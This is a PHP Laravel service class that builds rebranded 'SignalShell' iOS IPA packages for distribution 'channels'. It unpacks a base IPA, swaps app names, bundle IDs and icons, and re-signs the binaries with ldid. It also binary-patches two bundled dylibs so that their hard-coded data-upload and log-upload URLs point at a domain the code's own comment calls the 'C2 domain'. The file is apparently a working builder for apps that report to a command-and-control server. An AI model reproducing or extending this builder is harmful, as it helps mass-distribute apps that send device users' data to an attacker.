root
9c2bc4b226
PHP-FPM open_basedir is project + /tmp, so file_exists('/usr/bin/ldid')
aborts the channel build after the row is created.
Co-authored-by: Cursor <cursoragent@cursor.com>
357 lines
12 KiB
PHP
357 lines
12 KiB
PHP
<?php
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namespace App\Services;
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use App\Models\Channel;
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use Illuminate\Support\Facades\Log;
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use Illuminate\Support\Facades\Process;
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use RuntimeException;
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/**
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* Build a customized SignalShell IPA for App-builder channels.
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*
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* Takes a base IPA template, patches it with the channel's
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* domain / channel ID / app name / logo, and outputs a
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* downloadable IPA file.
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*/
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class AppPackageService
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{
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/** Base IPA template path (uploaded once via admin). */
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private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
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/** Icon sizes to generate from the uploaded logo. */
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private const ICON_SIZES = [
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'Icon-20.png' => 20,
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'Icon-20@2x.png' => 40,
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'Icon-20@3x.png' => 60,
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'Icon-29.png' => 29,
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'Icon-29@2x.png' => 58,
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'Icon-29@3x.png' => 87,
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'Icon-40.png' => 40,
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'Icon-40@2x.png' => 80,
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'Icon-40@3x.png' => 120,
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'Icon-60@2x.png' => 120,
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'Icon-60@3x.png' => 180,
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'Icon-76.png' => 76,
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'Icon-76@2x.png' => 152,
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'Icon-83.5@2x.png' => 167,
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];
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/**
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* Build a customized IPA for the given channel.
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*
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* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
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* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
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* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
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* @return array{success: bool, path: string, size: int, error: string}
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*/
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public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
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{
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$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
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if (! file_exists($baseIpa)) {
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return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
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}
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$workDir = storage_path('app/app-builds/'.$channel->channel_id);
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if (is_dir($workDir)) {
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$this->rrmdir($workDir);
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}
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@mkdir($workDir, 0755, true);
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try {
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// 1. Extract base IPA
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$zip = new \ZipArchive;
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if ($zip->open($baseIpa) !== true) {
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throw new RuntimeException('Cannot open base IPA');
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}
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$zip->extractTo($workDir);
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$zip->close();
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$appDir = $workDir.'/Payload/SignalShell.app';
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if (! is_dir($appDir)) {
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// Try to find any .app directory
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$payload = $workDir.'/Payload';
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$dirs = glob($payload.'/*.app');
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if (empty($dirs)) {
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throw new RuntimeException('No .app directory found in IPA');
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}
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$appDir = $dirs[0];
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}
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// 2. Patch Info.plist
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$this->patchInfoPlist($appDir, $channel);
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// 3. Generate icons from logo
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if ($logoPath && file_exists($logoPath)) {
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$this->generateIcons($appDir, $logoPath);
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}
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// 4. Patch libroute.dylib (domain + channel ID)
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$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
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// 5. Patch libmcmlease.dylib (domain)
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$this->patchLibmcmlease($appDir, $apiDomain);
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// 6. Sign (ldid if available, skip otherwise)
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$this->sign($appDir);
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// 7. Package IPA
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$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
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$outputFull = public_path($outputPath);
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@mkdir(dirname($outputFull), 0755, true);
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$outZip = new \ZipArchive;
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if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
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throw new RuntimeException('Cannot create output IPA');
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}
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$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
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$outZip->close();
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$size = filesize($outputFull);
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// Cleanup
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$this->rrmdir($workDir);
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return [
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'success' => true,
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'path' => '/'.$outputPath,
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'size' => $size,
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'error' => '',
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];
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} catch (\Throwable $e) {
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$this->rrmdir($workDir);
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Log::error('AppPackageService: build failed', [
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'channel' => $channel->channel_id,
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'error' => $e->getMessage(),
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]);
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return [
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'success' => false,
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'path' => '',
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'size' => 0,
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'error' => $e->getMessage(),
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];
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}
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}
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private function patchInfoPlist(string $appDir, Channel $channel): void
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{
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$plistPath = $appDir.'/Info.plist';
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$xml = file_get_contents($plistPath);
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// Replace display name
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$xml = preg_replace(
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'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
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'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
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$xml,
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);
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// Replace bundle identifier
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if ($channel->bundle_id) {
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$xml = preg_replace(
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'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
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'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
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$xml,
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);
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}
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// Replace CFBundleName (short name)
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$xml = preg_replace(
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'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
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'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
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$xml,
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);
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file_put_contents($plistPath, $xml);
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}
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private function generateIcons(string $appDir, string $logoPath): void
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{
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if (! function_exists('imagecreatefrompng')) {
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// GD not available, copy logo as-is for main icon only
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copy($logoPath, $appDir.'/Icon-60@3x.png');
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return;
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}
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$src = imagecreatefrompng($logoPath);
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if ($src === false) {
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return;
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}
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$srcW = imagesx($src);
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$srcH = imagesy($src);
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foreach (self::ICON_SIZES as $filename => $size) {
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$dst = imagecreatetruecolor($size, $size);
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// Transparent background
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imagesavealpha($dst, true);
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$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
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imagefill($dst, 0, 0, $trans);
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// Resize (maintain aspect, crop center square)
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$minSide = min($srcW, $srcH);
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$srcX = ($srcW - $minSide) / 2;
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$srcY = ($srcH - $minSide) / 2;
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imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
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imagepng($dst, $appDir.'/'.$filename, 6);
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imagedestroy($dst);
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}
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imagedestroy($src);
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}
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private function patchLibroute(string $appDir, string $domain, string $channelId): void
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{
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$path = $appDir.'/Frameworks/libroute.dylib';
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if (! file_exists($path)) {
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throw new RuntimeException('libroute.dylib not found');
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}
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$data = file_get_contents($path);
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$changes = 0;
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// Replace domain: shenma.my → new domain (equal length or shorter)
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$newDomain = $domain;
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$oldDomain = 'shenma.my';
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if (strlen($newDomain) > strlen($oldDomain)) {
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// Cannot expand in-place, try replacing full URLs instead
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// hslaxo.cc is 9 chars same as shenma.my
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if (strlen($newDomain) !== strlen($oldDomain)) {
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throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
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}
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}
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// Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=<ID>&
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$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
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$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
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if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
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$idx = strpos($data, $oldUpload);
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if ($idx !== false) {
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$data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
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$changes++;
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}
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}
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// Replace log upload URL
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$oldLog = 'https://shenma.my/upload.php?name=';
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$newLog = "https://{$domain}/api/ap/lg?n=";
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if (strlen($newLog) <= 35) {
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$idx = strpos($data, $oldLog);
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if ($idx !== false) {
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$data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
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$changes++;
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}
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}
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// Replace config path: /api/ios-shell → /api/ap
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$oldConfig = '/api/ios-shell';
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$newConfig = '/api/ap';
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$idx = strpos($data, $oldConfig);
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if ($idx !== false) {
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$data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
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$changes++;
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}
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// Replace any remaining shenma.my
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$data = str_replace('shenma.my', $domain, $data);
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file_put_contents($path, $data);
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}
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private function patchLibmcmlease(string $appDir, string $domain): void
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{
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$path = $appDir.'/Frameworks/libmcmlease.dylib';
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if (! file_exists($path)) {
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return;
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}
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$data = file_get_contents($path);
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// Equal-length domain replacement
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if (strlen($domain) === 9) { // same as shenma.my
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$data = str_replace('shenma.my', $domain, $data);
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}
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file_put_contents($path, $data);
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}
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private function sign(string $appDir): void
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{
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// Remove old signatures (plain filesystem ops, no shell needed)
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$csDir = $appDir.'/_CodeSignature';
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if (is_dir($csDir)) {
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$this->rrmdir($csDir);
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}
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// Do not file_exists() the binary: panel open_basedir is
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// project + /tmp, so /usr/bin/ldid throws ErrorException.
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// proc_open (Process::run) can still execute it.
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$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
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if ($ldidPath === '') {
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Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
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return;
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}
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$binaries = array_merge(
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[$appDir.'/SignalShell'],
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glob($appDir.'/Frameworks/*.dylib') ?: [],
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glob($appDir.'/*.dylib') ?: [],
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);
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foreach ($binaries as $bin) {
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if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
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continue;
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}
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try {
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$result = Process::run([$ldidPath, '-S', $bin]);
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if (! $result->successful()) {
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Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
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'error' => $result->errorOutput() ?: $result->output(),
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]);
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}
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} catch (\Throwable $e) {
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Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
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'error' => $e->getMessage(),
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]);
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}
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}
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}
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private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
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{
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$items = scandir($dir);
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foreach ($items as $item) {
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if ($item === '.' || $item === '..') {
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continue;
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}
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$path = $dir.'/'.$item;
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$zipPath = $prefix.'/'.$item;
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if (is_dir($path)) {
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$zip->addEmptyDir($zipPath);
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$this->addDirToZip($zip, $path, $zipPath);
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} else {
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$zip->addFile($path, $zipPath);
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}
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}
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}
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private function rrmdir(string $dir): void
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{
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if (! is_dir($dir)) {
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return;
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}
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$items = scandir($dir);
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foreach ($items as $item) {
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if ($item === '.' || $item === '..') {
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continue;
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}
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$path = $dir.'/'.$item;
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if (is_dir($path)) {
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$this->rrmdir($path);
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} else {
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@unlink($path);
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}
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}
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@rmdir($dir);
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}
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}
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